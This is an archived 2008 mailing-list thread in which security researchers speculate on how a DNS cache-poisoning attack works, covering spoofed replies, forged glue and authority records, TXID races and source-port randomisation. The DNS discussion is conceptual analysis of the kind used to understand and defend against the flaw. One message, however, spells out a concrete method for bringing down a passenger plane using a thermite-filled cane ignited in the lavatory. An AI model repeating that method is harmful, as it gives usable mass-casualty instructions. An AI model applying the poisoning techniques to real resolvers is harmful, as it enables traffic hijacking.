they? If they do, why? I am certainly not an expert on DNS, so I'm looking for education rather than presenting a complete attack scenario. Please excuse my ignorance if I don't get something right. So from what I understand, the attack works like this (starting with a empty cache): 1) attacker sends a query for 1234.google.com to ns.isp.com 2) ns.isp.com sends a query for 1234.google.com to the root nameserver 3) the root nameserver responds with the authority record for .com 4) ns.isp.com sends a query for 1234.google.com to the .com nameserver 5) the .com nameserver responds with the authority record for google.com (the response includes the IP address of ns.google.com) 6) ns.isp.com sends a query for 1234.google.com to ns.google.com 7) ns.google.com responds with "does not exist" and includes a SOA record for google.com that points to ns.google.com. There is no A record for ns.google.com in this response. I've verified steps 1-7 with tcpdump, but I have not tried to do the spoofing yet, so what follows is pure speculation. Spoofing a A record: Right before step 7, the attacker sends a spoofed response from ns.google.com that includes an A record for www.google.com and points it to 1.2.3.4 (which is an attacker controlled name server). If the attacker does not win the race, they just try again with 1235.google.com and so on. When ns.isp.com receives the spoofed response, it puts the A record for www.google.com in its cache and from now on google is at 1.2.3.4. Why would this work? ns.isp.com did not ask for www.google.com, it asked only for 1234.google.com. Why would ns.isp.com cache that unsolicted A record? Is there some obscure DNS feature that requires this behavior? Spoofing a SOA record: Another possibility is to send a spoofed response with a SOA record for google.com that points to 1234.google.com and an A record that gives the IP of 1234.google.com as 1.2.3.4. Perhaps the ns.isp.com nameserver will replace the SOA record in its cache and from now on it will send all *.google.com queries to 1.2.3.4. Again, I'm wondering why this would work (if it does, I haven't tried it). The ns.isp.com nameserver already has a cached authority record for google.com that points to ns.google.com. It should not replace it in the cache until the record expires, and even then it should only accept such authority records from the .com nameserver (just like in step 5 above). Is there some DNS feature that requires such SOA records to overwrite previousely cached ones? Shouldn't the authority record for google.com that the .com server sent supercede all others (until its TTL expires)? Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080722/80213412/attachment-0001.pgp From pty.err at gmail.com Tue Jul 22 07:58:07 2008 From: pty.err at gmail.com (Parity) Date: Tue, 22 Jul 2008 07:58:07 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: <4884E86C.4020306@xs4all.nl> References: <488447AB.1070901@gmx.de> <4884E86C.4020306@xs4all.nl> Message-ID: <1cd499dd0807220458t1daea50cx3c98afaa6d78b6fc@mail.gmail.com> >From DJB's notes: "Caches must discard yahoo.com information except from the yahoo.comservers, the com servers, and the root servers." i.e., the problem with Halvar's guess is that in his example, he elicits queries for subdomains of .com (ulam00001.com, ulam00002.com, etc) for an attempted attack on gmx*.net*. The resolver will discard the glue for ns.gmx.net because .net is outside of the bailiwick of .com. All we need to do to correct this is elicit queries for subdomains of .net (e.g., ulam00001.net, ulam00002.net) and then forge replies from the .net name servers, and then the forged glue records for ns.gmx.net will be accepted. pty On Mon, Jul 21, 2008 at 3:50 PM, Petja van der Lek wrote: > It looks like you're channelling Dan Bernstein, 8 years after the fact. > See: . What your diabolical scheme > boils down to is the inappropriate caching of out-of-zone glue records. > As far as I know, djbdns never cached out-of-zone glue records, and BIND > stopped doing that with version 9. Um, it did, right? (pokes the *real* > experts for support) > > Cheers, > Lek. > > Halvar Flake wrote: > [BIG SNIP] > > Mallory wants to poison DNS lookups on server ns.polya.com for the > > domain www.gmx.net. The nameserver > > for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. > > > > Mallory begins to send bogus requests for www.ulam00001.com, > > www.ulam00002.com ... to ns.polya.com. > > ns.polya.com doesn't have these requests cached, so it asks a root > > server "where can I find the .com NS?" > > It then receives a referral to the .com NS. It asks the nameserver for > > .com where to find the nameserver > > for ulam00001.com, ulam00002.com etc. > > > > Mallory spoofs referrals claiming to come from the .com nameserver to > > ns.polya.com. In these referrals, it > > says that the nameserver responsible for ulamYYYYY.com is a server > > called ns.gmx.net and that > > this server is located at 244.244.244.244. Also, the time to live of > > this referral is ... long ... > > > > Now eventually, Mallory will get one such referral spoofed right, e.g. > > the TXID etc. will be guessed properly. > > ns.polya.com will then cache that ns.gmx.net can be found at ... > > 244.244.244.244. Yay. > > > > The above is almost certainly wrong. Can someone with more insight into > > DNS tell me why it won't work ? > > > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080722/ff98fcec/attachment.htm From jt at cr0.org Tue Jul 22 09:32:53 2008 From: jt at cr0.org (Julien TINNES) Date: Tue, 22 Jul 2008 15:32:53 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: <488447AB.1070901@gmx.de> References: <488447AB.1070901@gmx.de> Message-ID: <200807221532.53850.jt@cr0.org> > Mallory spoofs referrals claiming to come from the .com nameserver to > ns.polya.com. In these referrals, it > says that the nameserver responsible for ulamYYYYY.com is a server > called ns.gmx.net and that > this server is located at 244.244.244.244. Also, the time to live of > this referral is ... long ... > One problem I see with your attack is "claming to come from the .com nameserver". As there are several such servers you will not know which one to spoof and this will adda few bits of entropy and make the number of ulamYYYY packets we have to send statistically higher. But still the idea of exploiting a in-bailiwick glue record seems good to me, so maybe we could just transpose the attack and not involve the root servers. Mallory can instead spoof referrals for ulam00001.target.com, ulam00002.target.com and so on. In our packet related to ulamXXXXX.target.com there would be something like: - ulamXXXXX.target.com IN NS www.target.com - and a glue with "www.target.com in A OUR_IP_ADRESS" And when for ulamYYYYY.target.com we match the TXID, ip source (the authorative NS for target.com hoping there is only one or at least less than than the 13 there are for .com) and source port, we have sucessfully hijacked www.target.com This is the exact same attack but instead of having to find out which root DNS server was used we only have to find out which target.com dns server was used which is probably easier. We should definetely take a better look at DNS to find out, but maybe we don't even have to do a referral ("IN NS" answer) in order to be able to glue something when we're in-bailiwick. -- Julien TINNES http://www.cr0.org From alex at sotirov.net Tue Jul 22 13:17:27 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Tue, 22 Jul 2008 10:17:27 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <20080722171727.GA7198@dsl093-068-005.sfo1.dsl.speakeasy.net> On Tue, Jul 22, 2008 at 12:16:27PM -0400, Paul Wouters wrote: > The problem here is that it seems DNS servers are accepting glue within > a NXDOMAIN answer. I cannot come up with a reason why that should be > allowed at any time, and I assume it happens more due to programming > reasons, then due to protocol reasons. > > AFAIK, source port randomization just makes the NXDOMAIN race harder, it > is not the real fix. Not accepting GLUE with NXDOMAIN is the real fix. No it's not, because the spoofed response packet that the attacker sends does not have to be a NXDOMAIN. It can have a valid A record for doesnotexist.google.com (and whatever additional records are needed to poison the cache). Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080722/f2858e3a/attachment.pgp From dominique.brezinski at gmail.com Tue Jul 22 12:51:17 2008 From: dominique.brezinski at gmail.com (Dominique Brezinski) Date: Tue, 22 Jul 2008 09:51:17 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <597760c90807220951g476171c5k4553258bfc697f9a@mail.gmail.com> On Tue, Jul 22, 2008 at 2:42 AM, Alexander Sotirov wrote: > Spoofing a A record: > > Right before step 7, the attacker sends a spoofed response from ns.google.com > that includes an A record for www.google.com and points it to 1.2.3.4 (which is > an attacker controlled name server). If the attacker does not win the race, > they just try again with 1235.google.com and so on. > > When ns.isp.com receives the spoofed response, it puts the A record for > www.google.com in its cache and from now on google is at 1.2.3.4. > > Why would this work? ns.isp.com did not ask for www.google.com, it asked only > for 1234.google.com. Why would ns.isp.com cache that unsolicted A record? Is > there some obscure DNS feature that requires this behavior? Not quite it. The attack is actually to send the spoof response that is an A record for 1234.google.com, which also includes an additional RR field with an attacker controlled IP for ns.google.com, effectively poisoning the cache for google's name server. Also the subtle aspect of the attack is what TXID is chosen for the spoofed response. From dominique.brezinski at gmail.com Tue Jul 22 13:17:35 2008 From: dominique.brezinski at gmail.com (Dominique Brezinski) Date: Tue, 22 Jul 2008 10:17:35 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <20080722165535.GA7159@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <597760c90807220951g476171c5k4553258bfc697f9a@mail.gmail.com> <20080722165535.GA7159@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <597760c90807221017l61c05810x9479c9ea2af3a9a6@mail.gmail.com> On Tue, Jul 22, 2008 at 9:55 AM, Alexander Sotirov wrote: > Alright, so then my question is why would the resolver accept the additional RR > record for ns.google.com? It didn't ask for ns.google.com, it should just ignore > the extra RR. The only server who should be allowed to send A records for > ns.google.com should be the .com nameserver. Because ns.google.com is authoritative for google.com, not the .com root server. The root server just tells you where to find ns.google.com based on the published NS records. So ns.google.com includes additional RRs in responses, so the client can populate its cache with the current name servers for google.com and their IP addresses. That is how DNS works. And that behavior allows the authoritative server to deliver the names and addresses of the current primary and secondary authoritative name servers in an efficient manner. The problem is the ability to spoof the response from the authoritative server (cause TXID collision). Once you do that, you speak for the domain. DNS is already a very chatty protocol, so limiting the authoritative server to just being able to deliver the A or CNAME record that was queried and the names of the authoritative name servers would greatly increase the traffic volume. Yes it would complicate the attack, but it would not entirely stop it. And changing this behavior would effectively cause a DDoS against many of the name servers out there. From shiftnato at gmail.com Tue Jul 22 12:38:59 2008 From: shiftnato at gmail.com (natron) Date: Tue, 22 Jul 2008 11:38:59 -0500 Subject: [Dailydave] DNS Speculation In-Reply-To: <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <1dd598e10807220938m5bad1ba3pa3253e8ee9ddb6a0@mail.gmail.com> Consider the following: The AUTHORITY SECTION in a response tells you that ns2.example.com is where you should look for www.example.com, but how do you know where ns2.example.com is located? The ADDITIONAL SECTION is the part that tells you. If you were to not include it, you would start the process over for ns2.example.com -- but would get stuck in a loop where the root server was telling you to go to ns2.example.com to find ns2.example.com's IP address. I can't think of any reasons why this would be used by anything other than looking up domain servers, but I would assume you can stick in a www. in that section and probably have it cached. (Haven't tested.) -n ;; QUESTION SECTION: ;www.example.com. IN A ;; AUTHORITY SECTION: example.com. 86400 IN NS ns2.example.com. example.com. 86400 IN NS ns1.example.net. ;; ADDITIONAL SECTION: ns2.example.com 172800 IN A 10.10.0.2 On Tue, Jul 22, 2008 at 4:42 AM, Alexander Sotirov wrote: > On Mon, Jul 21, 2008 at 10:24:11AM +0200, Halvar Flake wrote: >> Mallory wants to poison DNS lookups on server ns.polya.com for the >> domain www.gmx.net. The nameserver >> for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. >> >> Mallory begins to send bogus requests for www.ulam00001.com, >> www.ulam00002.com ... to ns.polya.com. >> ns.polya.com doesn't have these requests cached, so it asks a root >> server "where can I find the .com NS?" >> It then receives a referral to the .com NS. It asks the nameserver for >> .com where to find the nameserver >> for ulam00001.com, ulam00002.com etc. >> >> Mallory spoofs referrals claiming to come from the .com nameserver to >> ns.polya.com. In these referrals, it >> says that the nameserver responsible for ulamYYYYY.com is a server >> called ns.gmx.net and that >> this server is located at 244.244.244.244. Also, the time to live of >> this referral is ... long ... >> >> Now eventually, Mallory will get one such referral spoofed right, e.g. >> the TXID etc. will be guessed properly. >> ns.polya.com will then cache that ns.gmx.net can be found at ... >> 244.244.244.244. Yay. >> >> The above is almost certainly wrong. Can someone with more insight into >> DNS tell me why it won't work ? > > > I've been trying to understand the attack, but I am not sure that I really get > it. It looks like the only way it would work is if the DNS resolvers accept > records they didn't ask for. Do they? If they do, why? > > I am certainly not an expert on DNS, so I'm looking for education rather than > presenting a complete attack scenario. Please excuse my ignorance if I don't > get something right. > > So from what I understand, the attack works like this (starting with a empty > cache): > > 1) attacker sends a query for 1234.google.com to ns.isp.com > 2) ns.isp.com sends a query for 1234.google.com to the root nameserver > 3) the root nameserver responds with the authority record for .com > 4) ns.isp.com sends a query for 1234.google.com to the .com nameserver > 5) the .com nameserver responds with the authority record for google.com > (the response includes the IP address of ns.google.com) > 6) ns.isp.com sends a query for 1234.google.com to ns.google.com > 7) ns.google.com responds with "does not exist" and includes a SOA record for > google.com that points to ns.google.com. There is no A record for ns.google.com > in this response. > > I've verified steps 1-7 with tcpdump, but I have not tried to do the spoofing > yet, so what follows is pure speculation. > > > Spoofing a A record: > > Right before step 7, the attacker sends a spoofed response from ns.google.com > that includes an A record for www.google.com and points it to 1.2.3.4 (which is > an attacker controlled name server). If the attacker does not win the race, > they just try again with 1235.google.com and so on. > > When ns.isp.com receives the spoofed response, it puts the A record for > www.google.com in its cache and from now on google is at 1.2.3.4. > > Why would this work? ns.isp.com did not ask for www.google.com, it asked only > for 1234.google.com. Why would ns.isp.com cache that unsolicted A record? Is > there some obscure DNS feature that requires this behavior? > > > Spoofing a SOA record: > > Another possibility is to send a spoofed response with a SOA record for > google.com that points to 1234.google.com and an A record that gives the IP of > 1234.google.com as 1.2.3.4. Perhaps the ns.isp.com nameserver will replace the > SOA record in its cache and from now on it will send all *.google.com queries > to 1.2.3.4. > > Again, I'm wondering why this would work (if it does, I haven't tried it). The > ns.isp.com nameserver already has a cached authority record for google.com that > points to ns.google.com. It should not replace it in the cache until the record > expires, and even then it should only accept such authority records from the > .com nameserver (just like in step 5 above). Is there some DNS feature that > requires such SOA records to overwrite previousely cached ones? Shouldn't the > authority record for google.com that the .com server sent supercede all others > (until its TTL expires)? > > > Alex > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > > From shiftnato at gmail.com Tue Jul 22 13:18:12 2008 From: shiftnato at gmail.com (natron) Date: Tue, 22 Jul 2008 12:18:12 -0500 Subject: [Dailydave] DNS Speculation Message-ID: <1dd598e10807221018m2238f0b8m6ac2ac4bc7d962e9@mail.gmail.com> In your scenario, the root servers would have more control over the *.google.com domain than google.com would, correct? You are proposing that the client/resolving DNS server cache the root server's response and not let ns.google.com overwrite the entry. As a general discussion of trust, it shouldn't be a problem trusting either the root server or ns.google.com to deliver info on google.com. Assuming for a moment that one can place whatever additional records in the additional section they choose, I would posit that they didn't patch it because they don't care about that behaviour. If ns.google.com is an authority for google.com, you should be able to trust whatever responses it receives, right? In addition, if you can take control of where ns.google.com points to, it's kind of irrelevant that you can also change the cache for www.google.com. Gaining ns.google.com grants the ability to change the rest of them at your discretion. The issue the patch fixed was one of psuedo-authentication. Random ports helps ensure that the packets you're receiving came from where they say they did, the root cause of the problem. N On Tue, Jul 22, 2008 at 11:51 AM, Alexander Sotirov wrote: On Tue, Jul 22, 2008 at 11:38:59AM -0500, natron wrote: > The AUTHORITY SECTION in a response tells you that ns2.example.com is > where you should look for www.example.com, but how do you know where > ns2.example.com is located? The ADDITIONAL SECTION is the part that > tells you. If you were to not include it, you would start the process > over for ns2.example.com -- but would get stuck in a loop where the > root server was telling you to go to ns2.example.com to find > ns2.example.com's IP address. Yes, the response in step 5 in my email has an authority record for ns.google.com and an A record giving its IP address. However, after you do a single query for any *.google.com domain, the DNS resolver should cache the authority record and not accept any updates to it that are not coming from the .com nameserver. Since the .com nameserver is queried very rarely (only when the google.com authority record expires), the chance of an attacker spoofing one of its replies is much lower. If the attacker is spoofing replies from ns.google.com, they should not be able to update the cached authority record for the google.com domain. Perhaps this is not how resolvers work, but the question is why couldn't we patch them to work like this instead of (or in addition to) adding random source ports? > I can't think of any reasons why this would be used by anything other > than looking up domain servers, but I would assume you can stick in a > www. in that section and probably have it cached. (Haven't tested.) I can't think of any reason for this either, but there must be one since the DNS patches added source port randomness instead of fixing this behavior (if that's what the real problem is). Alex From shiftnato at gmail.com Tue Jul 22 13:27:09 2008 From: shiftnato at gmail.com (natron) Date: Tue, 22 Jul 2008 12:27:09 -0500 Subject: [Dailydave] DNS Speculation In-Reply-To: <1dd598e10807221018m2238f0b8m6ac2ac4bc7d962e9@mail.gmail.com> References: <1dd598e10807221018m2238f0b8m6ac2ac4bc7d962e9@mail.gmail.com> Message-ID: <1dd598e10807221027o54e59af2sd30e92cf1db90461@mail.gmail.com> Additionally, there's no A record in the invalid response, but there are A records if it's a valid response. Consider the output from www.google.com: ;; AUTHORITY SECTION: l.google.com. 56129 IN NS e.l.google.com. l.google.com. 56129 IN NS h.l.google.com. l.google.com. 56129 IN NS f.l.google.com. l.google.com. 56129 IN NS b.l.google.com. l.google.com. 56129 IN NS a.l.google.com. l.google.com. 56129 IN NS d.l.google.com. l.google.com. 56129 IN NS c.l.google.com. l.google.com. 56129 IN NS g.l.google.com. ;; ADDITIONAL SECTION: d.l.google.com. 54223 IN A 66.249.93.9 h.l.google.com. 53843 IN A 74.125.45.9 c.l.google.com. 54003 IN A 64.233.161.9 g.l.google.com. 53704 IN A 64.233.167.9 b.l.google.com. 53919 IN A 64.233.179.9 e.l.google.com. 53943 IN A 209.85.137.9 f.l.google.com. 53784 IN A 72.14.235.9 a.l.google.com. 53878 IN A 209.85.139.9 I assume that mucking with ns.google.com's ability to update *.google.com records on the fly would probably negatively impact large organizations current DNS architectures, where they probably rely on this for redundancy and load balancing. Nathan On Tue, Jul 22, 2008 at 12:18 PM, natron wrote: > In your scenario, the root servers would have more control over the > *.google.com domain than google.com would, correct? You are proposing > that the client/resolving DNS server cache the root server's response > and not let ns.google.com overwrite the entry. As a general > discussion of trust, it shouldn't be a problem trusting either the > root server or ns.google.com to deliver info on google.com. > > Assuming for a moment that one can place whatever additional records > in the additional section they choose, I would posit that they didn't > patch it because they don't care about that behaviour. If > ns.google.com is an authority for google.com, you should be able to > trust whatever responses it receives, right? In addition, if you can > take control of where ns.google.com points to, it's kind of irrelevant > that you can also change the cache for www.google.com. Gaining > ns.google.com grants the ability to change the rest of them at your > discretion. > > The issue the patch fixed was one of psuedo-authentication. Random > ports helps ensure that the packets you're receiving came from where > they say they did, the root cause of the problem. > > N > > On Tue, Jul 22, 2008 at 11:51 AM, Alexander Sotirov wrote: > > On Tue, Jul 22, 2008 at 11:38:59AM -0500, natron wrote: > > The AUTHORITY SECTION in a response tells you that ns2.example.com is > > where you should look for www.example.com, but how do you know where > > ns2.example.com is located? The ADDITIONAL SECTION is the part that > > tells you. If you were to not include it, you would start the process > > over for ns2.example.com -- but would get stuck in a loop where the > > root server was telling you to go to ns2.example.com to find > > ns2.example.com's IP address. > > Yes, the response in step 5 in my email has an authority record for > ns.google.com and an A record giving its IP address. However, after you do a > single query for any *.google.com domain, the DNS resolver should cache the > authority record and not accept any updates to it that are not > coming from the > .com nameserver. Since the .com nameserver is queried very rarely (only when > the google.com authority record expires), the chance of an attacker spoofing > one of its replies is much lower. > > If the attacker is spoofing replies from ns.google.com, they > should not be able > to update the cached authority record for the google.com domain. > Perhaps this > is not how resolvers work, but the question is why couldn't we patch them to > work like this instead of (or in addition to) adding random source ports? > > > I can't think of any reasons why this would be used by anything other > > than looking up domain servers, but I would assume you can stick in a > > www. in that section and probably have it cached. (Haven't tested.) > > I can't think of any reason for this either, but there must be one since the > DNS patches added source port randomness instead of fixing this behavior (if > that's what the real problem is). > > Alex > From krpatasec at gmail.com Tue Jul 22 13:54:29 2008 From: krpatasec at gmail.com (Tyler Krpata) Date: Tue, 22 Jul 2008 13:54:29 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <9d3431d0807221054w73c8d1fdx6e1949039c990b0c@mail.gmail.com> > > I've been trying to understand the attack, but I am not sure that I really get > it. It looks like the only way it would work is if the DNS resolvers accept > records they didn't ask for. Do they? If they do, why? > They do, for "in-bailiwick" records. http://homepages.tesco.net/J.deBoynePollard/FGA/dns-server-bailiwick.html http://cr.yp.to/djbdns/notes.html#gluelessness http://www.faqs.org/rfcs/rfc1034.html So the idea is that you are providing a correct, in-bailiwick response, and you don't have to worry about beating the legit response for the record you're trying to spoof into cache, since your spoofed glue record is never seen until the spoofing attempt is successful. The innovative thing about this attack, as far as I can see, is that you don't have to actually care about successfully spoofing the Answer section for any particular response. From lek at xs4all.nl Tue Jul 22 21:15:58 2008 From: lek at xs4all.nl (Petja van der Lek) Date: Wed, 23 Jul 2008 03:15:58 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: <597760c90807221017l61c05810x9479c9ea2af3a9a6@mail.gmail.com> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <597760c90807220951g476171c5k4553258bfc697f9a@mail.gmail.com> <20080722165535.GA7159@dsl093-068-005.sfo1.dsl.speakeasy.net> <597760c90807221017l61c05810x9479c9ea2af3a9a6@mail.gmail.com> Message-ID: <4886864E.7050802@xs4all.nl> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 In an effort to move beyond the "guess the bug" stage a bit, and thinking more about detection and mitigation, I'm trying to gauge whether this vulnerability is Really Bad? or Extremely Bad?. In particular, whether ye olde caching resolver will overwrite an RR already in the cache with the one received in the spoofed response's additional data (or whatever the exact method being used). If it does, then this would obviously be an Extremely Bad thing, since an attacker could just poison a resolver anytime, anyplace, anywhere. If it doesn't overwrite the cached entry, I presume we'd have to scratch the "anytime" from that list, and the attacker would have to wait until the entry expires. Assuming that domain names worth spoofing would be the more heavily trafficked ones -- and therefore likely to be present in a resolver's cache already -- this would leave a rather small window of opportunity every 24 hours or so (or whatever the TTL of the to-be spoofed entry is set at). RFC1035, section 7.4, is rather vague about all this: "In a similar vein, when a resolver has a set of RRs for some name in a response, and wants to cache the RRs, it should check its cache for already existing RRs. Depending on the circumstances, either the data in the response or the cache is preferred, but the two should never be combined. If the data in the response is from authoritative data in the answer section, it is always preferred." The "depending on the circumstances" doesn't exactly hit me with a clue-by-four. Does anyone care to shed some light? Cheers, Lek. Dominique Brezinski wrote: [SNIP] | The problem is the ability to spoof the response from the | authoritative server (cause TXID collision). Once you do that, you | speak for the domain. DNS is already a very chatty protocol, so | limiting the authoritative server to just being able to deliver the A | or CNAME record that was queried and the names of the authoritative | name servers would greatly increase the traffic volume. Yes it would | complicate the attack, but it would not entirely stop it. And changing | this behavior would effectively cause a DDoS against many of the name | servers out there. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkiGhk4ACgkQN3p7TrVtLg1LAgCeIHaKsf0ZEuR/5+APDB8nR/8h F/4AoIb/Q9RLfP8waXtksOaujt/QiZjm =7uO8 -----END PGP SIGNATURE----- From tetrapodalgiant at gmail.com Tue Jul 22 15:52:56 2008 From: tetrapodalgiant at gmail.com (Tetrapodal Giant) Date: Tue, 22 Jul 2008 14:52:56 -0500 Subject: [Dailydave] DNS Speculation In-Reply-To: <1cd499dd0807220458t1daea50cx3c98afaa6d78b6fc@mail.gmail.com> References: <488447AB.1070901@gmx.de> <4884E86C.4020306@xs4all.nl> <1cd499dd0807220458t1daea50cx3c98afaa6d78b6fc@mail.gmail.com> Message-ID: <4f1eb2d80807221252p350429ffgbb97112da5e7eab2@mail.gmail.com> Hi All - On 7/22/08, Parity wrote: > >From DJB's notes: I'm a huge nobody at this smarty party, but I'm bothered by a few aspects of this whole issue. Since there really has been a fair amount of warning on this/these issue(s), I'm curious why it took so long to actually implement a fix. Is it pure politics? If so, how does this reflect on the security community. I guess, in my version of events, I see DJB and others identifying root issues in an infrastructure; This is followed by vulnerability research (Klein/Sacramento/Stewart/etc.) and public demonstrations of various attacks against that infrastructure, such as: http://ketil.froyn.name/poison.html; And yet, nothing is done until this latest discovery by DK. Personally, I've been a djbdns user for many years. Not because I care about politics, but because I read DJB's work, believed in the threat he had identified, and took actions to prevent the theoretical from becoming reality in my networks. At the time, that meant using djbdns. I'm not saying this as a claim to some superior knowledge, but as a method of demonstrating a devotion to doing things in a secure manner. Shouldn't we all be doing that? Are we to believe that no other adversary has taken a look at the available research and implemented some other, if not DK's, attack. If so, why? Again, I'm a nobody at this party. But the previously described timeline seems to reflect poorly on the people responsible for the infrastructure. I know I'm likely stirring a huge pot of controversy on this, but it seems, to me, to be an important point of discussion. Feel free to spew all manner of flame my way. tpg -- "The man of knowledge must be able not only to love his enemies but also to hate his friends." - Friedrich Nietzsche From dan at geer.org Tue Jul 22 22:05:23 2008 From: dan at geer.org (dan at geer.org) Date: Tue, 22 Jul 2008 22:05:23 -0400 Subject: [Dailydave] Speculation In-Reply-To: Your message of "Fri, 18 Jul 2008 00:57:27 PDT." <003101c8e8ab$edbbd220$c9337660$@com> Message-ID: <20080723020523.5F39933C53@absinthe.tinho.net> mmaiffret at inveniosecurity.com writes -+--------------------------------- | Really it is a sad reminder that the current state of | the art when it comes to security and the resiliency | of our systems has a lot to do with making sure the | good guys only talk about things behind closed doors | while hoping that bad guys don't figure things out | before we can patch. | Two thoughts, one an example of something that could easily be done and would cause havoc hence, arguably, I should not write it here; the other an observation about the constraint space in which we live. (1) Some of you will have craftier ideas, but here's how to take a plane out of the sky, assuming you are willing to suicidily go with it... Fill an aluminum walking cane with thermite, put a magnesium strip in your wallet, and a book of matches in your undies. Take whatever flight has the longest transoceanic segment with no place to land and, at the halfway point, go in the bathroom and light off your cane. It will burn through the floor and depressurize the plane forcing a descent to perhaps 8,000 feet where fuel efficiency falls so low that there will be no place to make land but plenty of time to radio a mayday to the world press. (2) Security and resiliency are at odds and all the more so if you consider data availability as the top of the requirements heap. (100% availability tends to argue for many disjoint copies while security tends to want as few copies as are the maximum that can be decisively controlled from a single point.) --dan From dominique.brezinski at gmail.com Tue Jul 22 22:22:46 2008 From: dominique.brezinski at gmail.com (Dominique Brezinski) Date: Tue, 22 Jul 2008 19:22:46 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <1dd598e10807221027o54e59af2sd30e92cf1db90461@mail.gmail.com> References: <1dd598e10807221018m2238f0b8m6ac2ac4bc7d962e9@mail.gmail.com> <1dd598e10807221027o54e59af2sd30e92cf1db90461@mail.gmail.com> Message-ID: <597760c90807221922r5ae3d4fya98ae6ac92c54ba3@mail.gmail.com> On Tue, Jul 22, 2008 at 10:27 AM, natron wrote: > I assume that mucking with ns.google.com's ability to update > *.google.com records on the fly would probably negatively impact large > organizations current DNS architectures, where they probably rely on > this for redundancy and load balancing. > > Nathan Your assumption is absolutely correct. The name servers that are authoritative for a domain need to be able to update and change the records for the domain at any time. Think about the case where a network re-architecture needs to be completed, or there is a massive failure that needs a readdressing to fix, etc. I worked on the security engineering team at amazon.com through the 2000 DDoS attacks as well as numerous other attacks and non-security failures. There were a couple times where pushing DNS changes, including changing the location of primary and secondary name servers, was a completely valid and necessary action to fix a problem. I am not trying to be condescending, but all this talk about the validity of caching additional RR fields is bogus. Of course a caching server should give precedence to additional RR entries provided by the authoritative source over those in the cache. Think about responding to a cache poisoning attack...you sure want your valid, authoritative responses to supersede the poisoned cache entries! The cache logic as implemented is fine; it is identification and authorization of who is authoritative for a domain that is the issue. I am not a fan of DNSSEC as implemented, but identification and authorization is why people like Paul Vixie push it. As noted in the thread, adding source port randomization increases the number of unique bits used to identify and authorize a response as valid. Dom From BlueBoar at thievco.com Wed Jul 23 02:00:55 2008 From: BlueBoar at thievco.com (Blue Boar) Date: Tue, 22 Jul 2008 23:00:55 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <4f1eb2d80807221252p350429ffgbb97112da5e7eab2@mail.gmail.com> References: <488447AB.1070901@gmx.de> <4884E86C.4020306@xs4all.nl> <1cd499dd0807220458t1daea50cx3c98afaa6d78b6fc@mail.gmail.com> <4f1eb2d80807221252p350429ffgbb97112da5e7eab2@mail.gmail.com> Message-ID: <4886C917.1070408@thievco.com> Tetrapodal Giant wrote: > Since there really has been a fair amount of warning on this/these > issue(s), I'm curious why it took so long to actually implement a fix. Recall the earlier thread, about whether pen testers should have to produce a working exploit, or whether the advisee should just take their advice and proactively implement the more secure configuration? BB From blancher at cartel-securite.fr Wed Jul 23 07:22:45 2008 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Wed, 23 Jul 2008 13:22:45 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> Le mardi 22 juillet 2008 ? 02:42 -0700, Alexander Sotirov a ?crit : > Spoofing a A record: > Right before step 7, the attacker sends a spoofed response from ns.google.com > that includes an A record for www.google.com and points it to 1.2.3.4 (which is > an attacker controlled name server). If the attacker does not win the race, > they just try again with 1235.google.com and so on. And, what about spoofing 1234.google.com as described everywhere and add an Authority RR stating that NS record for google.com is ns.malicious.net, and an Additional one giving A record for ns.malicious.net ? According to RFC 2181, section 5.4.1, authority data from an authoritative answer have a better priority than the ones from a non-authoritative one. When ns.isp.com is getting NS record from .com (step 5), it is done through a non-authoritative answer. Therefore, our successful spoofed answer should update google.com NS record(s) in ns.isp.com cache -- http://sid.rstack.org/ PGP KeyID: 157E98EE FingerPrint: 